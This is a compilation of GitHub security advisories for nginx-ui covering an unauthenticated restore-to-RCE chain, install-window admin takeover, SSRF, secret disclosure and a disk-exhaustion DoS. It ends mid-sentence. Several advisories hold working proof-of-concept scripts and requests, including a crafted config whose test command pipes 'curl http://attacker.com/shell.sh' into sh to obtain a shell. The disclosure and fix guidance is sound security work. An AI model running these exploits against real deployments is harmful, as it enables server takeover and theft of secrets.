manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"]) manifestbytes = json.dumps(manifest, separators=(",", ":")).encode() (outer / "manifest.json").writebytes(manifestbytes)

signingkey = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest() (outer / "manifest.sig").writetext(hmac.new(signingkey, manifestbytes, hashlib.sha256).hexdigest()) PY

(cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json)

curl -sS -X POST "$BASE/api/restore" \ -H "Authorization: $TOKEN" \ -F "restorenginx=false" \ -F "restorenginxui=true" \ -F "verifyhash=true" \ -F "securitytoken=$SEC" \ -F "backupfile=@$TMP/malicious-restore.zip"

sleep 10 for i in $(seq 1 80); do curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break sleep 0.5 done

curl -sS -X POST "$BASE/api/nginx/test" \ -H "Authorization: $TOKEN"

docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce'

Cleanup and return the disposable instance to its original config. docker cp "$TMP/app.ini.original" "$CONTAINER":/etc/nginx-ui/app.ini docker exec "$CONTAINER" sh -lc 'rm -f /tmp/nginx-ui-restore-rce' docker restart "$CONTAINER"

Expected output:

text {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true} {"message":"","level":-1,"testscope":"global"} restored-rce

Cleanup

The PoC performs cleanup at the end. If interrupted, restore the original app.ini from a known-good backup, remove /tmp/nginx-ui-restore-rce, and restart nginx-ui before continuing other tests.

Patch Guidance

Require an elevated/admin secure session for restore, do not allow ordinary authenticated users to restore nginx-ui app state, bind backup manifest signatures to a server-side secret or administrator-held passphrase, and block protected app settings from being restored unless explicitly approved through a hardened migration path.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

In Nginx UI versions 2.5.0 through 2.5.x, the node-signature authentication path staged an attacker-controlled request body in a temporary file and synchronized it to disk before validating the body digest and cryptographic signature. An unauthenticated remote client that can reach the API can provide syntactically valid signature metadata and cause storage and I/O consumption before the request is rejected.

Impact

Concurrent malicious requests can consume temporary filesystem capacity, disk I/O, and request-processing resources, potentially disrupting Nginx UI and other services that share the filesystem. The issue affects availability only; it does not bypass authentication and does not provide confidentiality or integrity impact. Deployment-specific reverse-proxy body limits, filesystem quotas, and concurrency limits may reduce practical impact.

Remediation

Upgrade to Nginx UI 2.6.0 or later. The fix authenticates signed request metadata before staging the body and enforces an application-level streaming size limit with cleanup for rejected requests.

Fix commit: https://github.com/0xJacky/nginx-ui/commit/8c9b9a1aff218ee6c980d047b750e49da3c46796

1 / 2
Source: GitHub
First published (updated )
Severity
9.9
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.

First published (updated )
Severity
9
Code Injection, SQL Injection, Command Injection, OS Command Injection
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Product: nginx-ui Repository: 0xJacky/nginx-ui (branch: dev) Vulnerability Class: Authentication Bypass → Arbitrary File Write → OS Command Injection Affected Component: POST /api/restore

---

1. Vulnerability Summary

nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (app.ini) and SQLite database. Because the attacker controls the restored app.ini, they can inject an arbitrary OS command into the TestConfigCmd setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically root in Docker deployments.

The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).

---

2. Root Cause Analysis

2.1 The Restore Route Is Registered Without Authentication

backup.InitRouter is called on the root group, which carries only IPWhiteList() middleware — no AuthRequired(): 1

The route definition: 2

2.2 The authIfInstalled Guard Has a Time-Bounded Bypass

The only authentication guard on the restore route is authIfInstalled: 3

It calls AuthRequired() only when InstallLockStatus() || IsInstallTimeoutExceeded() is true. Both conditions are false on a fresh install within the first 10 minutes: 4

- InstallLockStatus() returns false because JwtSecret is "" on a fresh install and SkipInstallation defaults to false. - IsInstallTimeoutExceeded() returns false for the first 10 minutes after startupTime is set in init().

When both are false, authIfInstalled calls ctx.Next() with zero authentication.

2.3 The EncryptedForm Middleware Is Not a Security Barrier

The EncryptedForm() middleware between authIfInstalled and RestoreBackup is optional — it only activates if the request includes an encryptedparams field. If that field is absent, it calls c.Next() immediately: 5

An attacker sends a plain multipart/form-data request without encryptedparams and the middleware is a no-op.

2.4 The Attacker Controls the AES Key Used to Verify the Backup

The restore handler accepts the AES key and IV directly from the attacker via the securitytoken form field: 6

The manifest integrity check derives its HMAC signing key from the attacker-supplied AES key: 7

Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.

2.5 Restore Overwrites app.ini and the SQLite Database Unconditionally

When restorenginxui=true, restoreNginxUIConfig directly copies files from the backup onto disk with no content validation: 8

2.6 Restored TestConfigCmd Is Executed as a Shell Command

After restore, risefront.Restart() is called, reloading app.ini: 9

On the next call to TestConfig(), the value of TestConfigCmd from the restored app.ini is passed verbatim to /bin/sh -c: 10 11

---

3. Attack Prerequisites

| Requirement | Notes | |---|---| | Network access to nginx-ui port | Default: 9000/tcp | | Target is a fresh install | JwtSecret is empty in app.ini | | Within 10 minutes of last process start | Window resets on every restart | | IP not blocked by IPWhiteList | Default config has no IP whitelist |

The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets startupTime via init(), reopening the window.

---

4. Step-by-Step Proof of Concept

Step 1 — Confirm the installation window is open

http GET /api/install HTTP/1.1 Host: target:9000

Expected response confirming vulnerability: json {"lock": false, "timeout": false}

Step 2 — Craft the malicious backup

The backup format (derived from internal/backup/backup.go) is:

backup-TIMESTAMP.zip ← outer ZIP (unencrypted) ├── manifest.json ← JSON manifest ├── manifest.sig ← HMAC-SHA256 of manifest.json ├── nginx-ui.zip ← AES-CBC encrypted inner ZIP └── nginx.zip ← AES-CBC encrypted inner ZIP

2a. Generate a random 32-byte AES key and 16-byte IV.

2b. Create the malicious app.ini to place inside nginx-ui.zip:

ini [app] JwtSecret = attackerchosenjwtsecret32chars

[node] Secret = attackerchosennodesecret

[nginx] TestConfigCmd = curl http://attacker.com/shell.sh|sh

2c. Create a SQLite database (nginx-ui.db) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).

2d. Package app.ini and nginx-ui.db into nginx-ui.zip. Package an empty or minimal nginx.zip.

2e. Encrypt both ZIPs with AES-256-CBC using your key and IV.

2f. Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build manifest.json:

json { "schema": 1, "createdat": "20260421-120000", "version": "2.0.0", "files": [ {"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>}, {"name": "nginx.zip", "sha256": "<hash>", "size": <size>} ] }

2g. Compute the HMAC-SHA256 signature of manifest.json using the signing key derived as:

python import hashlib, hmac context = b"nginx-ui-backup-signing-v1:" signingkey = hashlib.sha256(context + aeskey).digest() sig = hmac.new(signingkey, manifestbytes, hashlib.sha256).hexdigest()

2h. Assemble the outer ZIP containing manifest.json, manifest.sig, nginx-ui.zip, nginx.zip.

Step 3 — Upload the malicious backup (no authentication required)

http POST /api/restore HTTP/1.1 Host: target:9000 Content-Type: multipart/form-data; boundary=----Boundary

------Boundary Content-Disposition: form-data; name="backupfile"; filename="evil.zip" Content-Type: application/zip

[crafted backup bytes] ------Boundary Content-Disposition: form-data; name="securitytoken"

<base64(aeskey)>:<base64(aesiv)> ------Boundary Content-Disposition: form-data; name="restorenginxui"

true ------Boundary--

Expected response (HTTP 200): json {"nginxuirestored": true, "nginxrestored": false, "hashmatch": true}

nginx-ui calls risefront.Restart() 2 seconds later, loading the attacker's app.ini.

Step 4 — Trigger RCE using the restored node secret

After the restart (wait ~3 seconds):

http POST /api/nginx/test HTTP/1.1 Host: target:9000 X-Node-Secret: attackerchosennodesecret

nginx-ui executes: sh /bin/sh -c "curl http://attacker.com/shell.sh|sh"

The attacker now has a reverse shell running as the nginx-ui process user (typically root in Docker).

---

5. Impact

- Confidentiality: Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in app.ini. - Integrity: Arbitrary modification of all nginx configurations and nginx-ui application state. - Availability: Complete denial of service; nginx and nginx-ui can be stopped or misconfigured. - Scope: OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.

---

6. Affected Versions

All versions of nginx-ui where authIfInstalled is used as the sole authentication guard on POST /api/restore. The vulnerability is present in the current dev branch.

---

7. Recommended Fix

Primary fix — Require authentication unconditionally on the restore endpoint. The "allow restore during initial setup" design rationale does not justify unauthenticated access to a file-write primitive:

go // api/backup/router.go func InitRouter(r gin.RouterGroup) { r.GET("/backup", middleware.AuthRequired(), CreateBackup) r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup) }

If restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.

Secondary fix — Validate the content of restored app.ini before writing it to disk. Specifically, TestConfigCmd, ReloadCmd, and RestartCmd should be rejected or stripped from any externally-supplied backup.

---

8. Timeline

| Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) |

Citations

File: router/routers.go (L61-70) go root := r.Group("/api", middleware.IPWhiteList()) { public.InitRouter(root) crypto.InitPublicRouter(root) user.InitAuthRouter(root) license.InitRouter(root)

system.InitPublicRouter(root) system.InitSelfCheckRouter(root) backup.InitRouter(root)

File: api/backup/router.go (L9-16) go // authIfInstalled requires auth if system is installed func authIfInstalled(ctx gin.Context) { if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() { middleware.AuthRequired()(ctx) } else { ctx.Next() } }

File: api/backup/router.go (L18-25) go func InitRouter(r gin.RouterGroup) { // Backup always requires authentication (contains sensitive data) r.GET("/backup", middleware.AuthRequired(), CreateBackup)

// Restore requires auth only after installation // This allows restoring backup during initial setup r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup) }

File: api/system/install.go (L27-34) go func InstallLockStatus() bool { return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != "" }

// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded func IsInstallTimeoutExceeded() bool { return time.Since(startupTime) > 10time.Minute }

File: internal/middleware/encryptedparams.go (L69-75) go // Check if encryptedparams field exists encryptedParams := c.Request.FormValue("encryptedparams") if encryptedParams == "" { // No encryption, continue normally c.Next() return }

File: api/backup/restore.go (L35-70) go securityToken := c.PostForm("securitytoken") // Get concatenated key and IV // Get backup file backupFile, err := c.FormFile("backupfile") if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error())) return }

// Validate security token if securityToken == "" { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return }

// Split security token to get Key and IV parts := strings.Split(securityToken, ":") if len(parts) != 2 { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return }

aesKey := parts[0] aesIv := parts[1]

// Decode Key and IV from base64 key, err := base64.StdEncoding.DecodeString(aesKey) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error())) return }

iv, err := base64.StdEncoding.DecodeString(aesIv) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error())) return }

File: api/backup/restore.go (L126-132) go if restoreNginxUI { go func() { time.Sleep(2 time.Second) // gracefully restart risefront.Restart() }() }

File: internal/backup/manifest.go (L156-163) go func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) { if len(aesKey) == 0 { return nil, ErrInvalidAESKey }

sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...)) return sum[:], nil }

File: internal/backup/restore.go (L458-484) go // restoreNginxUIConfig restores nginx-ui configuration files func restoreNginxUIConfig(nginxUIBackupDir string) error { // Get config directory configDir := filepath.Dir(cosysettings.ConfPath) if configDir == "" { return ErrConfigPathEmpty }

// Restore app.ini to the configured location srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini") if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil { return err }

// Restore database file if exists dbName := settings.DatabaseSettings.GetName() srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db") destDBPath := filepath.Join(configDir, dbName+".db")

// Only attempt to copy if database file exists in backup if , err := os.Stat(srcDBPath); err == nil { if err := copyFile(srcDBPath, destDBPath); err != nil { return err } }

return nil

File: internal/nginx/nginx.go (L25-36) go func TestConfig() (stdOut string, stdErr error) { mutex.Lock() defer mutex.Unlock() if settings.NginxSettings.TestConfigCmd != "" { return execShell(settings.NginxSettings.TestConfigCmd) } sbin := GetSbinPath() if sbin == "" { return execCommand("nginx", "-t") } return execCommand(sbin, "-t") }

File: internal/nginx/exec.go (L12-28) go func execShell(cmd string) (stdOut string, stdErr error) { var execCmd exec.Cmd

if runtime.GOOS == "windows" { execCmd = exec.Command("cmd", "/c", cmd) } else { execCmd = exec.Command("/bin/sh", "-c", cmd) }

execCmd.Dir = GetNginxExeDir() bytes, err := execCmd.CombinedOutput() stdOut = string(bytes) if err != nil { stdErr = err } return }

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary The GetSettings API handler (api/settings/settings.go:24-65) serializes all settings structs to JSON and returns them to authenticated users. Many sensitive fields are tagged with protected:"true" - however, this tag is only enforced during writes (via ProtectedFill in SaveSettings) and is completely ignored during reads. This exposes 40+ protected fields including JwtSecret (enabling auth token forgery), NodeSecret (enabling cluster node impersonation), OIDC ClientSecret (enabling OAuth account takeover), and the IP whitelist configuration.

Details Vulnerable Code

api/settings/settings.go:49-64 - GetSettings serializes all fields

go c.JSON(http.StatusOK, gin.H{ "app": cSettings.AppSettings, "server": cSettings.ServerSettings, "database": settings.DatabaseSettings, "auth": settings.AuthSettings, "casdoor": settings.CasdoorSettings, "oidc": settings.OIDCSettings, "cert": settings.CertSettings, "http": settings.HTTPSettings, "logrotate": settings.LogrotateSettings, "nginx": settings.NginxSettings, "node": settings.NodeSettings, "openai": settings.OpenAISettings, "terminal": settings.TerminalSettings, "webauthn": settings.WebAuthnSettings, })

Go's json.Marshal serializes all exported fields with json: tags. The protected:"true" struct tag is a custom tag - it has no effect on JSON serialization.

Protection is Write-Only

api/settings/settings.go:126-135 - ProtectedFill only used during saves

go cSettings.ProtectedFill(cSettings.AppSettings, &json.App) cSettings.ProtectedFill(cSettings.ServerSettings, &json.Server) cSettings.ProtectedFill(settings.AuthSettings, &json.Auth) // ... etc

ProtectedFill prevents overwriting protected fields during SaveSettings, but GetSettings has no corresponding filter. The protection is asymmetric - secrets can be read but not overwritten.

Exposed Protected Fields

settings/node.go: - Secret (protected) - used for cluster node authentication - SkipInstallation (protected), Demo (protected)

settings/oidc.go (all protected): - ClientId, ClientSecret, Endpoint, RedirectUri, Scopes, Identifier

settings/casdoor.go (all protected): - Endpoint, ExternalUrl, ClientId, ClientSecret, CertificatePath, Organization, Application, RedirectUri

settings/auth.go: - IPWhiteList (protected) - exposes security configuration

Attack Scenario

1. Low-privilege authenticated user calls GET /api/settings 2. Response includes NodeSecret - attacker can impersonate cluster nodes 3. Response includes OIDC ClientSecret - attacker can perform OAuth flows as the application 4. Response includes IPWhiteList - attacker learns network security configuration 5. If JwtSecret is in app settings (via cosy framework), attacker can forge authentication tokens for any user

PoC 1. GetSettings serializes all fields without filtering protected:"true" tags. From api/settings/settings.go:49-64:

go c.JSON(http.StatusOK, gin.H{ "app": cSettings.AppSettings, "server": cSettings.ServerSettings, "database": settings.DatabaseSettings, "auth": settings.AuthSettings, "casdoor": settings.CasdoorSettings, "oidc": settings.OIDCSettings, "cert": settings.CertSettings, "http": settings.HTTPSettings, "logrotate": settings.LogrotateSettings, "nginx": settings.NginxSettings, "node": settings.NodeSettings, "openai": settings.OpenAISettings, "terminal": settings.TerminalSettings, "webauthn": settings.WebAuthnSettings, })

Go's json.Marshal serializes all exported fields. The custom protected:"true" tag has no effect on serialization.

2. Protected secrets are defined across settings/.go. High-impact examples:

go // settings/serverv1.go:19 JwtSecret string json:"jwtsecret" protected:"true"

// settings/node.go:5 Secret string json:"secret" protected:"true"

// settings/oidc.go ClientSecret string json:"clientsecret" protected:"true"

// settings/auth.go IPWhiteList []string json:"ipwhitelist" protected:"true"

3. ProtectedFill is write-only. It appears 10 times in SaveSettings (lines 126-135) but 0 times in GetSettings:

go // api/settings/settings.go:126-135 - Only used during writes cSettings.ProtectedFill(cSettings.AppSettings, &json.App) cSettings.ProtectedFill(cSettings.ServerSettings, &json.Server) cSettings.ProtectedFill(settings.AuthSettings, &json.Auth) // ... 7 more calls

4. Exploit request. Any authenticated user can retrieve all secrets:

http GET /api/settings HTTP/1.1 Authorization: Bearer <any-valid-jwt>

Response includes (among 45 protected fields): json { "app": {"jwtsecret": "<the-actual-jwt-signing-key>", ...}, "node": {"secret": "<node-authentication-secret>", ...}, "oidc": {"clientsecret": "<oidc-client-secret>", ...}, "casdoor": {"clientsecret": "<casdoor-client-secret>", ...}, "auth": {"ipwhitelist": ["10.0.0.1", ...], ...}, "nginx": {"reloadcmd": "nginx -s reload", "restartcmd": "...", ...} }

Impact - Authentication bypass via JwtSecret: An attacker who obtains the JwtSecret can forge valid JWT tokens for any user, including admin accounts. This provides permanent, independent access that survives password changes and session revocations. - Cluster compromise via NodeSecret: The NodeSecret is used for inter-node authentication in nginx-ui clusters. An attacker can impersonate any cluster node, push malicious configurations to all nodes, and intercept cluster synchronization traffic. - Third-party OAuth takeover: Leaked OIDC ClientSecret and Casdoor ClientSecret allow the attacker to perform OAuth flows as the nginx-ui application, potentially gaining access to user accounts on the identity provider. - Security configuration disclosure: The IPWhiteList, ReloadCmd, RestartCmd, ConfigDir, SbinPath, and other protected fields reveal the security posture and infrastructure layout, enabling more targeted attacks. - Low barrier to exploitation: Any authenticated user (not just admins) can access GET /api/settings. In multi-user deployments, a low-privilege operator can escalate to full admin access.

Remediation

Filter out protected:"true" fields before serialization.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

An unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install.

When the instance is still uninitialized, POST /api/install is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator.

This is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows.

The primary attack path is direct network access to a reachable fresh instance.[^cors]

This was reproduced over HTTP against live local instances started from nginx-ui v2.3.5 using Docker image uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a (org.opencontainers.image.version=2.3.5, revision 1a9cd29a308278173aa0f16234cb78061dd2bd42).

Impact

This issue allows full unauthenticated takeover of a fresh nginx-ui instance during the initial installation window.

The practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves.

In live testing, the attacker was able to:

- confirm that the target was still uninitialized - submit attacker-chosen bootstrap credentials - lock the installation under attacker control - immediately authenticate as the newly set administrator

Observed values during live reproduction included:

text INSTALLBEFORE={"lock":false,"timeout":false} INSTALLPOST={"message":"ok"} INSTALLAFTER={"lock":true,"timeout":false} LOGINRESPONSE={"message":"ok","code":200,...,"shorttoken":"qIJAE3dQMm3afhaV"}

Because the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.

PoC

The following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only bash, curl, and openssl.

Standalone PoC:

bash #!/usr/bin/env bash set -euo pipefail

baseurl="http://127.0.0.1:9000" email="poc2@nginxui.test" username="pocverify2" password="Passw0rd123"

tmpdir="$(mktemp -d)" trap 'rm -rf "$tmpdir"' EXIT

installbefore="$(curl -fsS "${baseurl}/api/install")" printf 'INSTALLBEFORE=%s\n' "$installbefore"

keyjson="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \ "${baseurl}/api/crypto/publickey")"

keyescaped="$(printf '%s' "$keyjson" | sed -n 's/."publickey":"\(.\)","requestid"./\1/p')" printf '%b' "$keyescaped" > "${tmpdir}/publickey.pem" openssl rsa -RSAPublicKeyin -in "${tmpdir}/publickey.pem" -pubout -out "${tmpdir}/publickeyspki.pem" >/dev/null 2>&1

printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json" encryptedinstall="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/publickeyspki.pem" -pkeyopt rsapaddingmode:pkcs1 -in "${tmpdir}/install.json" \ | openssl base64 -A )"

installpost="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encryptedparams\":\"${encryptedinstall}\"}" \ "${baseurl}/api/install")" printf 'INSTALLPOST=%s\n' "$installpost"

installafter="$(curl -fsS "${baseurl}/api/install")" printf 'INSTALLAFTER=%s\n' "$installafter"

printf '{"name":"%s","password":"%s","otp":"","recoverycode":""}' "$username" "$password" > "${tmpdir}/login.json" encryptedlogin="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/publickeyspki.pem" -pkeyopt rsapaddingmode:pkcs1 -in "${tmpdir}/login.json" \ | openssl base64 -A )"

loginresponse="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encryptedparams\":\"${encryptedlogin}\"}" \ "${baseurl}/api/login")" printf 'LOGINRESPONSE=%s\n' "$loginresponse"

Observed output during live verification:

text INSTALLBEFORE={"lock":false,"timeout":false} INSTALLPOST={"message":"ok"} INSTALLAFTER={"lock":true,"timeout":false} LOGINRESPONSE={"message":"ok","code":200,"token":"<redacted>","shorttoken":"qIJAE3dQMm3afhaV"}

Steps to Reproduce

1. Start a fresh local nginx-ui v2.3.5 instance from the tested Docker image digest with empty /etc/nginx and /etc/nginx-ui directories.

bash mkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui

docker run -d --rm --name nginx-ui-poc \ -v "$PWD/.tmp/poc-nginx:/etc/nginx" \ -v "$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui" \ uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a

2. Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with:

bash docker exec -it nginx-ui-poc bash

Then set baseurl to http://127.0.0.1:9000 and run the standalone PoC.

3. Observe the output.

Actual result:

- GET /api/install returns {"lock":false,"timeout":false} - POST /api/install returns {"message":"ok"} - a follow-up GET /api/install returns {"lock":true,"timeout":false} - POST /api/login succeeds with the attacker-chosen username and password and returns a valid token

Expected result:

- arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret - POST /api/install should be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor - attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup

Suggested Fix

1. Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection.

2. Require a local-only or out-of-band bootstrap secret for POST /api/install, for example: - generate a one-time setup token at startup - print or store it locally on the host - require that token to complete initialization

3. Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths.

4. Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as /api/selfcheck and /api/restore.

5. As defense in depth, narrow CORS on setup endpoints. POST /api/install should not be callable cross-origin by arbitrary websites.

6. Add regression tests covering: - unauthenticated remote POST /api/install being rejected by default - no installation claim without a valid bootstrap secret - /api/selfcheck and /api/restore requiring authentication - no cross-origin installation via browser preflight and JSON POST

[^cors]: In live testing, OPTIONS /api/install returned Access-Control-Allow-Origin: . That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
SQL Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary An unauthenticated network attacker can claim the initial administrator account on a fresh nginx-ui instance during the first-run setup window. The public /api/install endpoint is reachable without authentication, and the request-encryption flow only protects payload confidentiality in transit; it does not authenticate who is allowed to perform installation. A remote attacker who reaches the service before the legitimate operator can set the admin email, username, and password, causing permanent initial-instance takeover.

Details The vulnerable route is exposed publicly through the main API router. router/routers.go:61-70 mounts system.InitPublicRouter(root) under /api, and api/system/router.go:16-19 registers both GET /api/install and POST /api/install without AuthRequired().

The install handler only checks whether the instance is already installed and whether more than ten minutes have elapsed since startup. api/system/install.go:26-33 treats the instance as uninstalled when JwtSecret is empty and SkipInstallation is false. api/system/install.go:56-69 rejects requests only if installation has already happened or the ten-minute window has expired.

If those checks pass, the unauthenticated caller controls the initialization flow. api/system/install.go:77-81 generates and saves the JWT secret, node secret, and certificate email from attacker-controlled input, and api/system/install.go:93-97 overwrites user ID 1 with the attacker-chosen username and password hash. internal/kernel/inituser.go:15-22 guarantees that privileged user ID 1 exists ahead of time, so there is always an account to claim.

The public-key bootstrap does not add authentication. api/crypto/router.go:5-9 exposes POST /api/crypto/publickey publicly, api/crypto/crypto.go:12-32 returns a server public key to any caller, internal/crypto/crypto.go:44-61 stores a shared keypair in cache, and internal/middleware/encryptedparams.go:25-50 only decrypts encryptedparams before passing the request to the install handler. No request ID, local-only restriction, bootstrap secret, or prior trust check is enforced.

This was verified locally in an isolated lab instance. A fresh instance returned {"lock":false,"timeout":false}, an unauthenticated POST /api/install returned {"message":"ok"}, the instance then flipped to {"lock":true,"timeout":false}, and the on-disk SQLite database showed user ID 1 renamed to the attacker-controlled username with a non-empty password hash.

PoC The quickest local verification path is the helper script created during validation:

bash ATTACKEREMAIL='attacker@example.com' ATTACKERUSER='attacker' ATTACKERPASS='Password12345' \ '/Users/r1zzg0d/Documents/CVE hunting/targets/nginx-ui/output/verify/verifyfreshinstalltakeover.sh'

Expected proof points:

text [1/6] Fresh-instance status: { "lock": false, "timeout": false }

[3/6] Claiming the initial administrator account... { "message": "ok" }

[4/6] Verifying install is now locked... { "lock": true, "timeout": false }

[5/6] Verifying the on-disk admin record was overwritten... { "id": 1, "name": "attacker", "passwordlen": 60 }

To confirm the final state manually:

bash sqlite3 '/Users/r1zzg0d/Documents/CVE hunting/targets/nginx-ui/tmp/poc-install-takeover/database.db' \ 'select id,name,length(password) from users where id=1;'

Expected output:

text 1|attacker|60

Manual HTTP reproduction is also straightforward:

1. Request GET /api/install and confirm lock=false and timeout=false. 2. Request POST /api/crypto/publickey to obtain the public RSA key. 3. Encrypt {"email":"attacker@example.com","username":"attacker","password":"Password12345"} with that public key and base64-encode the ciphertext. 4. Submit the ciphertext to POST /api/install as {"encryptedparams":"..."}. 5. Re-request GET /api/install and observe that lock=true. 6. Inspect the backing database and confirm user ID 1 now belongs to the attacker-controlled username.

Impact This is an authentication bypass / initial admin claim vulnerability affecting fresh, uninitialized instances that are reachable over the network during the installation window. Any attacker able to reach the service before the legitimate operator can permanently take ownership of the first administrator account and thereby seize control of the application. Because nginx-ui is an administrative interface for Nginx and related host-management features, compromise of the initial admin account can lead to unauthorized configuration changes, certificate management abuse, backup manipulation, service disruption, and broader operational takeover of the managed environment.

Remediation 1. Require a single-use bootstrap secret for installation. Generate the token locally on first start, print it only to the server console or write it to a root-owned local file, and require it on POST /api/install. 2. Restrict installation endpoints to loopback by default until setup completes. Remote setup should require an explicit opt-in configuration flag, not be enabled automatically on all interfaces. 3. Make installer claim atomic and explicitly stateful. Persist a dedicated installation state record, consume the bootstrap token exactly once, and refuse concurrent or repeated initialization attempts even within the startup window.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary An authenticated user can call GET /api/settings and retrieve sensitive configuration values, including node.secret. The same node.secret is accepted by AuthRequired() through the X-Node-Secret header (or nodesecret query parameter), causing the request to be treated as authenticated via the trusted-node path and associated with the init user. In my local reproduction on v2.3.6, GET /api/settings also returned app.jwtsecret. After extracting node.secret, I was able to access GET /api/backup using only X-Node-Secret, download a full backup archive, and obtain the X-Backup-Security response header containing the backup decryption material (AESKey:AESIv). I also confirmed that the disclosed node.secret is sufficient to reach the restore workflow on an installed instance. Using only X-Node-Secret, a valid backup archive, and its matching X-Backup-Security token, I successfully invoked POST /api/restore. In a follow-up rollback test, I changed node.name to rollback-poc-B, then restored a previously captured backup and observed the value revert to its original state. This extends the issue beyond secret disclosure and backup exfiltration into confirmed integrity impact through restore-based rollback of 